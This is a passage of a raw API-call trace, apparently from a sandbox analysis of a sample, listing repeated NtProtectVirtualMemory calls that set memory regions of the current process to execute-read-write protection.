NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.826] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.843] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.854] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.864] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.875] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.917] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.928] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.945] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.955] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.966] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.976] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.016] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.037] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.047] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.064] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.074] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.084] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.094] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.121] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.131] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.142] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.159] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.171] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.182] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.193] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.210] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.223] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.253] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.272] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.291] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.321] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.337] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.363] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.381] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.409] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.428] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.546] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.931] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.942] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.954] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.970] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.037] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.054] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.065] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.075] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.103] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.114] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.124] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.140] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.152] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.162] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.172] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.189] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.199] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.210] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.222] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.239] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.249] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.259] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.270] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.288] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.300] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.311] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.328] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.340] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.351] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.362] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.379] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.389] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.401] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.412] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.429] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.455] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.466] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.477] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.494] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.504] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.514] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.531] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.541] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.551] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.562] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.580] NtProtectVirtualMemory (in: 